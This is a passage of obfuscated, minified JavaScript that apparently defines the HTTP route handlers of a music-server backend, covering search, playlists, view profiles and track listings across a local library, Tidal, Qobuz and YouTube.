_0x35f7e8=_0x2db473,_0x5ec283=_0x3a4d41[_0x35f7e8(0x29c)][_0x35f7e8(0x2c3)],_0x182dc7=_0x3a4d41[_0x35f7e8(0x29c)][_0x35f7e8(0x3c6)];_0x35f7e8(0x4c2)==_0x182dc7&&(_0x182dc7=_0x35f7e8(0x521));var _0x10bb54=Number(_0x3a4d41[_0x35f7e8(0x29c)][_0x35f7e8(0x3ca)]),_0x82889a=_0x3a4d41['body']['library'];'tidal'==_0x82889a?g_tidal_api[_0x35f7e8(0x294)](g_tidal_api[_0x35f7e8(0x4ba)](),_0x182dc7,_0x5ec283,_0x10bb54,function(_0x44c341){var _0x419a80=_0x35f7e8;respHandlers[_0x419a80(0x4ce)](_0x44c341,_0x10fd27);}):_0x35f7e8(0x220)==_0x82889a&&g_qobuz_api[_0x35f7e8(0x233)]({'id':_0x5ec283,'type':_0x182dc7,'oper':_0x10bb54},function(_0x42dad5){var _0x4983ba=_0x35f7e8;respHandlers[_0x4983ba(0x4ce)](_0x42dad5,_0x10fd27);});}},'/searchsortfields':{'get':function(_0x5f4f66,_0x4cc990){var _0x2b93ce=_0x2db473;respHandlers[_0x2b93ce(0x4ce)]({'search':['artist','album',_0x2b93ce(0x248),'genre','year',_0x2b93ce(0x272),_0x2b93ce(0x27d),'file','albumartist','composer',_0x2b93ce(0x2ab),'duration','otherfields'],'sort':['artist',_0x2b93ce(0x551),_0x2b93ce(0x324),_0x2b93ce(0x466),_0x2b93ce(0x27d),_0x2b93ce(0x479),_0x2b93ce(0x32c),_0x2b93ce(0x2ab),'added',_0x2b93ce(0x36a),_0x2b93ce(0x3f4)]},_0x4cc990);}},'/usageajax/:field/:type':{'get':function(_0x3146d0,_0x460d11){var _0x1a3847=_0x2db473,_0x2b6136=_0x3146d0[_0x1a3847(0x515)]['field'],_0x3f0e18=_0x3146d0[_0x1a3847(0x515)][_0x1a3847(0x3c6)];g_lib_engine[_0x1a3847(0x362)](_0x2b6136,_0x3f0e18,function(_0x42e6fa){var _0x3a30e7=_0x1a3847;respHandlers[_0x3a30e7(0x4ce)](_0x42e6fa,_0x460d11);});}},'/lookuptable':{'post':function(_0x47d3a4,_0x4e91d7){var _0x1ac352=_0x2db473,_0x18d360=_0x47d3a4[_0x1ac352(0x29c)][_0x1ac352(0x378)],_0xa5db7f=_0x47d3a4[_0x1ac352(0x29c)][_0x1ac352(0x355)];g_lib_engine[_0x1ac352(0x4ec)](_0x18d360,_0xa5db7f,function(_0x4dc791){var _0x5ca0ce=_0x1ac352;respHandlers[_0x5ca0ce(0x4ce)](_0x4dc791,_0x4e91d7);});}},'/searchpreview':{'post':function(_0x44d25e,_0x39142e){var _0x51cba8=_0x2db473;for(var _0x242232=_0x44d25e[_0x51cba8(0x29c)][_0x51cba8(0x515)],_0x2feaf7=_0x44d25e[_0x51cba8(0x29c)][_0x51cba8(0x37e)],_0x1bc4ee=_0x44d25e[_0x51cba8(0x29c)][_0x51cba8(0x355)],_0x49bb59=[],_0x5b4ed6=[],_0x55027c=0x0;_0x55027c<_0x242232['searchfields'][_0x51cba8(0x5c4)];_0x55027c++){var _0x3bbe13={};if(_0x3bbe13['search']=_0x2feaf7,_0x3bbe13['field']=_0x242232['searchfields'][_0x55027c],_0x3bbe13['sortdir']=_0x242232['sortdir'],_0x3bbe13[_0x51cba8(0x355)]=_0x1bc4ee,_0x49bb59[_0x51cba8(0x28c)](_0x3bbe13),_0x1bc4ee[_0x51cba8(0x564)]&&_0x1bc4ee[_0x51cba8(0x564)][_0x51cba8(0x5c4)]){var _0x5a67ff=Object[_0x51cba8(0x281)]({},_0x3bbe13);_0x5a67ff[_0x51cba8(0x355)]={},_0x5b4ed6['push'](_0x5a67ff);}}async[_0x51cba8(0x465)](_0x49bb59,g_lib_engine[_0x51cba8(0x2ac)],function(_0x542619,_0x4dbd9a){var _0x5d6e25=_0x51cba8;_0x542619?(utils[_0x5d6e25(0x45a)](_0x5d6e25(0x240)+_0x542619),respHandlers[_0x5d6e25(0x1fe)](_0x542619,_0x39142e,!0x0)):_0x5b4ed6[_0x5d6e25(0x5c4)]?async[_0x5d6e25(0x465)](_0x5b4ed6,g_lib_engine[_0x5d6e25(0x2ac)],function(_0x4afeb7,_0x44493e){var _0x35dc15=_0x5d6e25;_0x4dbd9a['push']({'separator':!0x0}),_0x4afeb7?(utils[_0x35dc15(0x45a)](_0x35dc15(0x240)+_0x4afeb7),_0x4dbd9a[_0x35dc15(0x28c)]({'error':!0x0,'txt':_0x4afeb7[_0x35dc15(0x303)]})):_0x4dbd9a['push'][_0x35dc15(0x590)](_0x4dbd9a,_0x44493e),respHandlers[_0x35dc15(0x1fe)](_0x4dbd9a,_0x39142e);}):respHandlers[_0x5d6e25(0x1fe)](_0x4dbd9a,_0x39142e);});}},'/saveviewprofile':{'post':function(_0x2a8500,_0x1b0fac){var _0xc2dfa6=_0x2db473,_0x5ed68f=_0x2a8500['body'][_0xc2dfa6(0x355)];g_lib_engine[_0xc2dfa6(0x506)](_0x5ed68f,function(_0x5f21cb){var _0x102f50=_0xc2dfa6;respHandlers[_0x102f50(0x4ce)](_0x5f21cb,_0x1b0fac);});}},'/deleteviewprofile':{'post':function(_0x38ae1c,_0x18621b){var _0x4f9d48=_0x2db473,_0x3cfa07=_0x38ae1c[_0x4f9d48(0x29c)][_0x4f9d48(0x355)];g_lib_engine[_0x4f9d48(0x37b)](_0x3cfa07,function(_0x34a875){var _0x4f4bca=_0x4f9d48;respHandlers[_0x4f4bca(0x4ce)](_0x34a875,_0x18621b);});}},'/getviewprofiles':{'get':function(_0x1ef233,_0x5e8851){g_lib_engine['getViewProfiles'](function(_0x3b7ce2){var _0x37159b=_0x4832;respHandlers[_0x37159b(0x4ce)](_0x3b7ce2,_0x5e8851);});}},'/setcookie':{'post':function(_0x51b8ee,_0x292571){var _0x226afd=_0x2db473,_0xb31761=_0x51b8ee[_0x226afd(0x29c)][_0x226afd(0x22b)],_0x21a288=_0x51b8ee[_0x226afd(0x29c)][_0x226afd(0x4a1)];config[_0x226afd(0x214)]||(config['mycookies']={}),config['mycookies'][_0xb31761]=_0x21a288,respHandlers[_0x226afd(0x1fe)]('ok',_0x292571),fs[_0x226afd(0x3a2)](_0x226afd(0x580),JSON[_0x226afd(0x2e9)](config,null,'	'));}},'/songs/:subtype/:page/:library':{'get':function(_0x15844c,_0x10ef9a){var _0x210596=_0x2db473,_0x1eb123=_0x15844c[_0x210596(0x515)]['subtype'],_0x4d2a58=Number(_0x15844c[_0x210596(0x515)][_0x210596(0x4c7)]),_0x418774=_0x15844c[_0x210596(0x515)][_0x210596(0x51c)],_0x286c8e=decodeURIComponent(_0x15844c[_0x210596(0x3c0)]['filter'])[_0x210596(0x30e)]('+',' ')[_0x210596(0x31d)]();_0x286c8e||(_0x286c8e=''),_0x210596(0x382)==_0x418774?_0x210596(0x37e)==_0x1eb123?g_tidal_api[_0x210596(0x37e)]({'type':'tracks','limit':config['page_size'],'offset':_0x4d2a58*config[_0x210596(0x429)],'query':_0x286c8e},function(_0x1f368d){var _0x1fc90e=_0x210596;if(_0x1f368d[_0x1fc90e(0x388)])respHandlers[_0x1fc90e(0x1fe)](''+_0x1f368d[_0x1fc90e(0x388)],_0x10ef9a,!0x0);else{var _0x2a22a1=(_0x1f368d=_0x1f368d[_0x1fc90e(0x518)])['totalNumberOfItems'],_0x1cde91=_0x1f368d[_0x1fc90e(0x319)][_0x1fc90e(0x42a)](function(_0x5d4781){var _0x5a15ef=_0x1fc90e,_0x409faa={};return _0x409faa['id']=_0x5d4781['id'],_0x409faa[_0x5a15ef(0x51c)]=_0x5a15ef(0x382),_0x409faa['title']=_0x5d4781[_0x5a15ef(0x248)],_0x409faa[_0x5a15ef(0x2f3)]=_0x5d4781[_0x5a15ef(0x551)][_0x5a15ef(0x373)],_0x409faa[_0x5a15ef(0x3a3)]=g_tidal_api[_0x5a15ef(0x3e7)](_0x409faa['cover_id'],0x140),_0x409faa[_0x5a15ef(0x551)]=_0x5d4781[_0x5a15ef(0x551)]['title'],_0x409faa['albumid']=_0x5d4781[_0x5a15ef(0x551)]['id'],_0x5d4781[_0x5a15ef(0x40c)]&&_0x5d4781[_0x5a15ef(0x40c)][0x0]&&_0x5d4781[_0x5a15ef(0x40c)][0x0]['picture']&&(_0x409faa[_0x5a15ef(0x4ab)]=g_tidal_api[_0x5a15ef(0x3e7)](_0x5d4781[_0x5a15ef(0x40c)][0x0][_0x5a15ef(0x577)],0x140)),_0x409faa['artist']=_0x5d4781[_0x5a15ef(0x40c)][0x0][_0x5a15ef(0x2c3)],_0x409faa['albumartist']=_0x409faa[_0x5a15ef(0x326)],_0x409faa[_0x5a15ef(0x521)]=_0x5d4781['trackNumber'],_0x409faa[_0x5a15ef(0x271)]=_0x5d4781['audioQuality'],_0x409faa[_0x5a15ef(0x391)]=_0x5d4781['duration'],_0x409faa[_0x5a15ef(0x2f1)]=_0x5a15ef(0x382),_0x409faa;});respHandlers[_0x1fc90e(0x4ce)]({'size':_0x2a22a1,'result':_0x1cde91},_0x10ef9a);}}):g_tidal_api['getUserFavorites']({'id':g_tidal_api[_0x210596(0x4ba)](),'what':_0x210596(0x518),'page':config[_0x210596(0x429)],'offset':_0x4d2a58*config['page_size']},function(_0xc351bd){var _0x85a23=_0x210596;for(var _0x3213c1=_0xc351bd[_0x85a23(0x47e)],_0x1c469a=[],_0x29b994=0x0;_0x29b994<_0xc351bd[_0x85a23(0x319)][_0x85a23(0x5c4)];_0x29b994++){var _0x2d7e3c=_0xc351bd[_0x85a23(0x319)][_0x29b994];if(!_0x286c8e[_0x85a23(0x5b5)]()||!_0x2d7e3c[_0x85a23(0x22a)]['title']||-0x1!=_0x2d7e3c[_0x85a23(0x22a)][_0x85a23(0x248)]['toLowerCase']()['indexOf'](_0x286c8e)){var _0x2960d0={};_0x2960d0['id']=_0x2d7e3c[_0x85a23(0x22a)]['id'],_0x2960d0[_0x85a23(0x51c)]=_0x85a23(0x382),_0x2960d0[_0x85a23(0x248)]=_0x2d7e3c[_0x85a23(0x22a)][_0x85a23(0x248)],_0x2960d0[_0x85a23(0x2f3)]=_0x2d7e3c[_0x85a23(0x22a)]['album'][_0x85a23(0x373)],_0x2960d0[_0x85a23(0x3a3)]=g_tidal_api['getArtURL'](_0x2960d0[_0x85a23(0x2f3)],0x140),_0x2960d0[_0x85a23(0x551)]=_0x2d7e3c[_0x85a23(0x22a)]['album'][_0x85a23(0x248)],_0x2960d0['albumid']=_0x2d7e3c['item'][_0x85a23(0x551)]['id'],_0x2d7e3c[_0x85a23(0x22a)][_0x85a23(0x326)]&&_0x2d7e3c['item'][_0x85a23(0x326)]['picture']&&(_0x2960d0[_0x85a23(0x4ab)]=g_tidal_api[_0x85a23(0x3e7)](_0x2d7e3c['item']['artist'][_0x85a23(0x577)],0x140)),_0x2960d0[_0x85a23(0x326)]=_0x2d7e3c[_0x85a23(0x22a)]['artist'][_0x85a23(0x2c3)],_0x2960d0[_0x85a23(0x479)]=_0x2960d0['artist'],_0x2960d0[_0x85a23(0x521)]=_0x2d7e3c[_0x85a23(0x22a)]['trackNumber'],_0x2960d0[_0x85a23(0x271)]=_0x2d7e3c['audioQuality'],_0x2960d0['duration']=_0x2d7e3c[_0x85a23(0x22a)][_0x85a23(0x391)],_0x2960d0[_0x85a23(0x2f1)]=_0x85a23(0x382),_0x1c469a[_0x85a23(0x28c)](_0x2960d0);}}respHandlers['sendAsJson']({'size':_0x3213c1,'result':_0x1c469a},_0x10ef9a);}):_0x210596(0x220)==_0x418774?'search'==_0x1eb123?g_qobuz_api[_0x210596(0x37e)]({'type':_0x210596(0x521),'limit':config[_0x210596(0x429)],'offset':_0x4d2a58*config[_0x210596(0x429)],'query':_0x286c8e},function(_0x252801){var _0x508425=_0x210596;if(_0x252801[_0x508425(0x388)])respHandlers[_0x508425(0x1fe)](''+_0x252801[_0x508425(0x388)],_0x10ef9a,!0x0);else{var _0x414368=(_0x252801=_0x252801[_0x508425(0x518)])[_0x508425(0x3e2)],_0x3ad619=fillQobuzTracks(_0x252801);respHandlers[_0x508425(0x4ce)]({'size':_0x414368,'result':_0x3ad619},_0x10ef9a);}}):g_qobuz_api[_0x210596(0x43b)]({'type':_0x210596(0x521),'limit':config[_0x210596(0x429)],'offset':_0x4d2a58*config[_0x210596(0x429)]},function(_0x2b0eb0){var _0x5eba88=_0x210596;if(_0x2b0eb0[_0x5eba88(0x388)])respHandlers[_0x5eba88(0x1fe)](''+_0x2b0eb0['error'],_0x10ef9a,!0x0);else{var _0xe7dfb7=(_0x2b0eb0=_0x2b0eb0['tracks'])[_0x5eba88(0x3e2)],_0x27c8c9=fillQobuzTracks(_0x2b0eb0);respHandlers[_0x5eba88(0x4ce)]({'size':_0xe7dfb7,'result':_0x27c8c9},_0x10ef9a);}}):respHandlers[_0x210596(0x1fe)](_0x210596(0x440)+_0x418774,_0x10ef9a,!0x0);}},'/findajax':{'post':function(_0x127ec5,_0x3beb08){var _0x20156c=_0x2db473,_0x41fb2b=_0x127ec5['body']['type'][_0x20156c(0x31d)](),_0x5f1314=_0x127ec5[_0x20156c(0x29c)][_0x20156c(0x2c3)],_0x50861c=_0x127ec5[_0x20156c(0x29c)][_0x20156c(0x51c)];if(_0x20156c(0x4f6)==_0x50861c){if(_0x20156c(0x287)===_0x41fb2b)g_lib_engine[_0x20156c(0x532)](_0x20156c(0x287),_0x41fb2b,_0x5f1314,function(_0x5db88e){var _0x2f1ff5=_0x20156c;respHandlers[_0x2f1ff5(0x4ce)](_0x5db88e,_0x3beb08);});else{if('genre'===_0x41fb2b)g_lib_engine['find']('artist',_0x41fb2b,_0x5f1314,function(_0x4d702b){respHandlers['sendAsJson'](_0x4d702b,_0x3beb08);});else{if(_0x20156c(0x326)===_0x41fb2b)g_lib_engine[_0x20156c(0x532)]('album',_0x41fb2b,_0x5f1314,function(_0x4b8c14){var _0x1b6963=_0x20156c;respHandlers[_0x1b6963(0x4ce)](_0x4b8c14,_0x3beb08);});else{var _0x4e5e14=_0x5f1314[_0x20156c(0x4b9)](_0x20156c(0x2af)),_0x319c6a=_0x4e5e14[0x0],_0x51dc06=_0x4e5e14[_0x20156c(0x5c4)]>0x1?_0x4e5e14[0x1]:'',_0x274e3c=_0x4e5e14[_0x20156c(0x5c4)]>0x2?_0x4e5e14[0x2]:'';g_lib_engine[_0x20156c(0x5a9)](_0x319c6a,_0x51dc06,_0x274e3c,function(_0x2ae45e){var _0xf6b0ba=_0x20156c;respHandlers[_0xf6b0ba(0x4ce)](_0x2ae45e,_0x3beb08);});}}}}else _0x20156c(0x428)==_0x50861c?getHighresMedialist(function(_0x4e2de1){var _0x39d8cf=_0x20156c;_0x4e2de1||respHandlers['sendAsJson']({'size':0x0,'result':_0x39d8cf(0x1e3)},_0x3beb08);var _0x22773a=[];if('album'==_0x41fb2b)for(var _0x451d87=0x0;_0x451d87<_0x4e2de1[_0x39d8cf(0x5c4)];_0x451d87++){if((_0x518395=_0x4e2de1[_0x451d87])[_0x39d8cf(0x3e5)]&&_0x518395['albumTitle']===_0x5f1314){var _0x966ad6={};_0x966ad6['id']=_0x518395[_0x39d8cf(0x58f)],_0x966ad6[_0x39d8cf(0x248)]=_0x518395['trackTitle'],_0x966ad6['album']=_0x518395['albumTitle'],_0x966ad6[_0x39d8cf(0x326)]=_0x518395['artist'],_0x966ad6[_0x39d8cf(0x521)]=_0x518395[_0x39d8cf(0x24b)],_0x966ad6['cover_url']=_0x518395[_0x39d8cf(0x373)],_0x966ad6[_0x39d8cf(0x391)]=_0x518395[_0x39d8cf(0x391)],_0x966ad6['local']=_0x518395[_0x39d8cf(0x4f6)],_0x22773a[_0x39d8cf(0x28c)](_0x966ad6);}}else{if('artist'==_0x41fb2b){var _0x20d637,_0x267c3b=null,_0xbcca85=0x0,_0x60136b=0x0;for(_0x451d87=0x0;_0x451d87<_0x4e2de1[_0x39d8cf(0x5c4)];_0x451d87++){var _0x518395;(_0x518395=_0x4e2de1[_0x451d87])[_0x39d8cf(0x58f)]&&_0x518395[_0x39d8cf(0x326)]===_0x5f1314&&(_0x518395[_0x39d8cf(0x4bf)]!==_0x267c3b&&(null!=_0x267c3b&&(_0xbcca85==_0x60136b?_0x20d637[_0x39d8cf(0x4f6)]='full':_0xbcca85>0x0&&(_0x20d637[_0x39d8cf(0x4f6)]=_0xbcca85),_0x22773a[_0x39d8cf(0x28c)](_0x20d637)),_0x20d637={},_0xbcca85=0x0,_0x60136b=0x0,_0x267c3b=_0x518395['albumTitle'],_0x20d637[_0x39d8cf(0x4a1)]=_0x518395[_0x39d8cf(0x4bf)],_0x20d637[_0x39d8cf(0x551)]=_0x518395[_0x39d8cf(0x4bf)],_0x20d637[_0x39d8cf(0x326)]=_0x518395[_0x39d8cf(0x326)],_0x20d637[_0x39d8cf(0x3a3)]=_0x518395[_0x39d8cf(0x5d4)]),_0x60136b++,_0x518395['local']&&_0xbcca85++);}_0xbcca85==_0x60136b?_0x20d637[_0x39d8cf(0x4f6)]='full':_0xbcca85>0x0&&(_0x20d637[_0x39d8cf(0x4f6)]=_0xbcca85),_0x22773a[_0x39d8cf(0x28c)](_0x20d637);}}var _0x300a94=_0x22773a['length'];respHandlers['sendAsJson']({'size':_0x300a94,'result':_0x22773a},_0x3beb08);}):_0x20156c(0x5b0)==_0x50861c?g_youtube_api[_0x20156c(0x5ca)](_0x5f1314,function(_0x1eed48){var _0x2b533c=_0x20156c;_0x1eed48['error']?respHandlers[_0x2b533c(0x1fe)](''+_0x1eed48[_0x2b533c(0x388)],_0x3beb08,!0x0):(_0x1eed48[_0x2b533c(0x319)][_0x2b533c(0x38f)](function(_0x1dbd18){fillYTVideoItem(_0x1dbd18);}),_0x1eed48[_0x2b533c(0x319)]=_0x1eed48['items']['filter'](function(_0x830cfd){var _0x1a489e=_0x2b533c;return _0x1a489e(0x5bd)!=_0x830cfd[_0x1a489e(0x248)];}),fillYTDurations(_0x1eed48[_0x2b533c(0x319)],function(){var _0x48dbf3=_0x2b533c;respHandlers[_0x48dbf3(0x1fe)](_0x1eed48,_0x3beb08);}));}):_0x20156c(0x220)==_0x50861c?'album'==_0x41fb2b?g_qobuz_api[_0x20156c(0x4b3)]({'id':_0x5f1314},function(_0x79c1c7){var _0x3ff18b=_0x20156c;if(_0x79c1c7[_0x3ff18b(0x388)])respHandlers['handleSimpleResponse'](''+_0x79c1c7[_0x3ff18b(0x388)],_0x3beb08,!0x0);else{var _0x2447a8=_0x79c1c7[_0x3ff18b(0x518)][_0x3ff18b(0x3e2)],_0x399ea1=fillQobuzTracks2(_0x79c1c7);respHandlers[_0x3ff18b(0x4ce)]({'size':_0x2447a8,'result':_0x399ea1},_0x3beb08);}}):_0x20156c(0x326)==_0x41fb2b?g_qobuz_api[_0x20156c(0x5cb)]({'id':_0x5f1314},_0x20156c(0x32e),function(_0x1faa5e){var _0x21b450=_0x20156c;if(_0x1faa5e['error'])respHandlers['handleSimpleResponse'](''+_0x1faa5e[_0x21b450(0x388)],_0x3beb08,!0x0);else{var _0x3477bf=_0x1faa5e['albums']['total'],_0x3428b1=fillQobuzAlbums(_0x1faa5e);respHandlers['sendAsJson']({'size':_0x3477bf,'result':_0x3428b1},_0x3beb08);}}):_0x20156c(0x287)==_0x41fb2b&&g_qobuz_api['getPlaylistTracks']({'id':_0x5f1314},function(_0x37f88b){var _0xfe4531=_0x20156c;if(_0x37f88b[_0xfe4531(0x388)])respHandlers[_0xfe4531(0x1fe)](''+_0x37f88b[_0xfe4531(0x388)],_0x3beb08,!0x0);else{var _0x5b993a=_0x37f88b[_0xfe4531(0x518)][_0xfe4531(0x3e2)],_0x1eee8e=fillQobuzPlaylistTracks(_0x37f88b);respHandlers['sendAsJson']({'size':_0x5b993a,'result':_0x1eee8e},_0x3beb08);}}):_0x20156c(0x382)==_0x50861c?_0x20156c(0x551)==_0x41fb2b?g_tidal_api['getAlbumTracks']({'id':_0x5f1314},function(_0x2a7396){var _0x50873e=_0x20156c;if(_0x2a7396['error'])respHandlers[_0x50873e(0x1fe)](''+_0x2a7396[_0x50873e(0x388)],_0x3beb08,!0x0);else{var _0x2151c7=_0x2a7396[_0x50873e(0x47e)],_0x301c1e=_0x2a7396['items'][_0x50873e(0x42a)](function(_0x5c9ade){var _0x29bda6=_0x50873e,_0x5e0d26={};return _0x5e0d26['id']=_0x5c9ade['id'],_0x5e0d26['albumid']=_0x5f1314,_0x5e0d26[_0x29bda6(0x248)]=_0x5c9ade[_0x29bda6(0x248)],_0x5e0d26[_0x29bda6(0x551)]=_0x5c9ade[_0x29bda6(0x551)][_0x29bda6(0x248)],_0x5c9ade[_0x29bda6(0x326)]&&_0x5c9ade[_0x29bda6(0x326)]['picture']&&(_0x5e0d26[_0x29bda6(0x4ab)]=g_tidal_api[_0x29bda6(0x3e7)](_0x5c9ade['artist'][_0x29bda6(0x577)],0x140)),_0x5e0d26['artist']=_0x5c9ade['artist'][_0x29bda6(0x2c3)],_0x5e0d26[_0x29bda6(0x479)]=_0x5e0d26[_0x29bda6(0x326)],_0x5e0d26[_0x29bda6(0x521)]=_0x5c9ade[_0x29bda6(0x24b)],_0x5e0d26[_0x29bda6(0x489)]=_0x5c9ade['volumeNumber'],_0x5e0d26[_0x29bda6(0x2f3)]=_0x5c9ade[_0x29bda6(0x551)]['cover'],_0x5e0d26[_0x29bda6(0x3a3)]=g_tidal_api[_0x29bda6(0x3e7)](_0x5e0d26[_0x29bda6(0x2f3)],0x140),_0x5e0d26[_0x29bda6(0x391)]=_0x5c9ade[_0x29bda6(0x391)],_0x5e0d26[_0x29bda6(0x2be)]=_0x5c9ade[_0x29bda6(0x2be)],_0x5e0d26[_0x29bda6(0x520)]=_0x5c9ade['replayGain'],_0x5e0d26[_0x29bda6(0x205)]=_0x5c9ade[_0x29bda6(0x205)],_0x5e0d26[_0x29bda6(0x449)]=_0x5c9ade[_0x29bda6(0x449)],_0x5e0d26[_0x29bda6(0x3f7)]=_0x5c9ade[_0x29bda6(0x3f7)],_0x5e0d26[_0x29bda6(0x271)]=_0x5c9ade['audioQuality'],_0x5e0d26['url_type']='tidal',_0x5e0d26;});respHandlers['sendAsJson']({'size':_0x2151c7,'result':_0x301c1e},_0x3beb08);}}):_0x20156c(0x326)==_0x41fb2b?g_tidal_api[_0x20156c(0x3c2)]({'id':_0x5f1314},function(_0x4bd7dd){var _0x15c857=_0x20156c;if(_0x4bd7dd[_0x15c857(0x388)])respHandlers[_0x15c857(0x1fe)](''+_0x4bd7dd['error'],_0x3beb08,!0x0);else{var _0x183fdc=_0x4bd7dd[_0x15c857(0x47e)],_0x291325=_0x4bd7dd['items'][_0x15c857(0x42a)](function(_0x31343f){var _0x79fb1d=_0x15c857,_0x59684c={};return _0x59684c['id']=_0x31343f['id'],_0x59684c[_0x79fb1d(0x551)]=_0x31343f[_0x79fb1d(0x248)],_0x59684c['albumid']=_0x31343f['id'],_0x59684c[_0x79fb1d(0x326)]=_0x31343f[_0x79fb1d(0x326)][_0x79fb1d(0x2c3)],_0x59684c[_0x79fb1d(0x479)]=_0x59684c[_0x79fb1d(0x326)],_0x59684c['quality']=_0x31343f['audioQuality'],_0x59684c[_0x79fb1d(0x2f3)]=_0x31343f[_0x79fb1d(0x373)],_0x59684c[_0x79fb1d(0x3a3)]=g_tidal_api[_0x79fb1d(0x3e7)](_0x59684c['cover_id'],0x140),_0x59684c[_0x79fb1d(0x2f1)]=_0x79fb1d(0x382),_0x59684c;});respHandlers[_0x15c857(0x4ce)]({'size':_0x183fdc,'result':_0x291325},_0x3beb08);}}):_0x20156c(0x287)==_0x41fb2b&&g_tidal_api[_0x20156c(0x55c)]({'id':_0x5f1314},function(_0x2d8ef7){var _0x552bab=_0x20156c;if(_0x2d8ef7[_0x552bab(0x388)])respHandlers[_0x552bab(0x1fe)](''+_0x2d8ef7[_0x552bab(0x388)],_0x3beb08,!0x0);else{var _0x3a7afc=_0x2d8ef7[_0x552bab(0x47e)],_0x4f215b=_0x2d8ef7[_0x552bab(0x319)][_0x552bab(0x42a)](function(_0x2af086){var _0xa3f502=_0x552bab,_0x17eb5c={};return _0x17eb5c['id']=_0x2af086['id'],_0x17eb5c[_0xa3f502(0x248)]=_0x2af086[_0xa3f502(0x248)],_0x17eb5c[_0xa3f502(0x2f3)]=_0x2af086[_0xa3f502(0x551)]['cover'],_0x17eb5c[_0xa3f502(0x3a3)]=g_tidal_api[_0xa3f502(0x3e7)](_0x17eb5c['cover_id'],0x140),_0x17eb5c[_0xa3f502(0x551)]=_0x2af086['album']['title'],_0x17eb5c[_0xa3f502(0x267)]=_0x2af086['album']['id'],_0x2af086[_0xa3f502(0x326)]&&_0x2af086[_0xa3f502(0x326)][_0xa3f502(0x577)]&&(_0x17eb5c[_0xa3f502(0x4ab)]=g_tidal_api[_0xa3f502(0x3e7)](_0x2af086[_0xa3f502(0x326)]['picture'],0x140)),_0x17eb5c[_0xa3f502(0x326)]=_0x2af086['artist'][_0xa3f502(0x2c3)],_0x17eb5c[_0xa3f502(0x479)]=_0x17eb5c[_0xa3f502(0x326)],_0x17eb5c[_0xa3f502(0x489)]=_0x2af086['volumeNumber'],_0x17eb5c[_0xa3f502(0x521)]=_0x2af086[_0xa3f502(0x24b)],_0x17eb5c[_0xa3f502(0x391)]=_0x2af086[_0xa3f502(0x391)],_0x17eb5c[_0xa3f502(0x2be)]=_0x2af086[_0xa3f502(0x2be)],_0x17eb5c[_0xa3f502(0x520)]=_0x2af086[_0xa3f502(0x520)],_0x17eb5c['popularity']=_0x2af086[_0xa3f502(0x205)],_0x17eb5c[_0xa3f502(0x449)]=_0x2af086[_0xa3f502(0x449)],_0x17eb5c['copyright']=_0x2af086[_0xa3f502(0x3f7)],_0x17eb5c[_0xa3f502(0x271)]=_0x2af086['audioQuality'],_0x17eb5c[_0xa3f502(0x2f1)]=_0xa3f502(0x382),_0x17eb5c;});respHandlers[_0x552bab(0x4ce)]({'size':_0x3a7afc,'result':_0x4f215b},_0x3beb08);}}):respHandlers[_0x20156c(0x4ce)]({'size':0x0,'result':[]},_0x3beb08);}},'/tidal-track-contributors/:id':{'get':function(_0x23f6b2,_0x4eeb1a){var _0x163120=_0x2db473,_0x41ef3c=_0x23f6b2[_0x163120(0x515)]['id'];g_tidal_api[_0x163120(0x3c5)](_0x41ef3c,function(_0x387e2d){var _0x2985b9=_0x163120;_0x387e2d[_0x2985b9(0x388)]?respHandlers[_0x2985b9(0x1fe)](''+_0x387e2d[_0x2985b9(0x388)],_0x4eeb1a,!0x0):respHandlers[_0x2985b9(0x1fe)](_0x387e2d['items'],_0x4eeb1a);});}},'/findalbums':{'post':function(_0x20f5da,_0x58aac3){var _0x45fb59=_0x2db473,_0x304b70=_0x20f5da[_0x45fb59(0x29c)][_0x45fb59(0x355)],_0x484aaf=_0x20f5da[_0x45fb59(0x29c)][_0x45fb59(0x372)],_0x296518=_0x20f5da[_0x45fb59(0x29c)]['page'];g_lib_engine[_0x45fb59(0x50f)](_0x304b70,_0x484aaf,_0x296518,function(_0x123a52){respHandlers['sendAsJson'](_0x123a52,_0x58aac3);},_0x296518);}},'/findsongs':{'post':function(_0x371b65,_0x99142b){var _0x61bb9d=_0x2db473,_0x3930bc=_0x371b65[_0x61bb9d(0x29c)][_0x61bb9d(0x355)],_0x59df6b=_0x371b65[_0x61bb9d(0x29c)][_0x61bb9d(0x372)],_0x13738f=_0x371b65['body'][_0x61bb9d(0x4c7)];g_lib_engine[_0x61bb9d(0x505)](_0x3930bc,_0x59df6b,_0x13738f,function(_0x2bc84b){respHandlers['sendAsJson'](_0x2bc84b,_0x99142b);});}},'/listajax/:type/:subtype/:page/:library':{'get':function(_0x87a1f9,_0x47a7ea){var _0x1e0df3=_0x2db473,_0x29efae=_0x87a1f9[_0x1e0df3(0x515)]['type'][_0x1e0df3(0x31d)](),_0x14701d=_0x87a1f9[_0x1e0df3(0x515)]['subtype'],_0x38566f=decodeURIComponent(_0x87a1f9[_0x1e0df3(0x3c0)][_0x1e0df3(0x507)])[_0x1e0df3(0x5b5)]()[_0x1e0df3(0x31d)](),_0x371472=Number(_0x87a1f9[_0x1e0df3(0x515)]['page'])||_0x87a1f9[_0x1e0df3(0x515)][_0x1e0df3(0x4c7)],_0x120ac5=_0x87a1f9[_0x1e0df3(0x515)][_0x1e0df3(0x51c)];if('local'==_0x120ac5){var _0x2f954a='playlist'==_0x29efae?_0x14701d:null;g_lib_engine[_0x1e0df3(0x532)](_0x29efae,_0x2f954a,null,function(_0x1914aa){var _0x46edb3=_0x1e0df3;respHandlers[_0x46edb3(0x4ce)](_0x1914aa,_0x47a7ea);},_0x38566f,_0x371472);}else{if('youtube'==_0x120ac5)g_youtube_api[_0x1e0df3(0x37e)](_0x29efae,_0x38566f,config[_0x1e0df3(0x429)],_0x371472,function(_0x1519e0){var _0x304c25=_0x1e0df3;_0x1519e0[_0x304c25(0x388)]?respHandlers[_0x304c25(0x1fe)](''+_0x1519e0[_0x304c25(0x388)],_0x47a7ea,!0x0):(_0x1519e0[_0x304c25(0x319)][_0x304c25(0x38f)](function(_0x51610c){var _0x4a438e=_0x304c25;fillYTVideoItem(_0x51610c),_0x4a438e(0x3cb)==_0x29efae?(_0x51610c[_0x4a438e(0x4d2)]=_0x4a438e(0x4a0)+_0x51610c['id'],_0x51610c[_0x4a438e(0x260)]=_0x4a438e(0x3cb)):(_0x51610c[_0x4a438e(0x4d2)]='',_0x51610c['url_subtype']=_0x4a438e(0x287));}),_0x304c25(0x3cb)==_0x29efae?(_0x1519e0[_0x304c25(0x319)]=_0x1519e0[_0x304c25(0x319)][_0x304c25(0x507)](function(_0x3bd02f){var _0x4acd32=_0x304c25;return 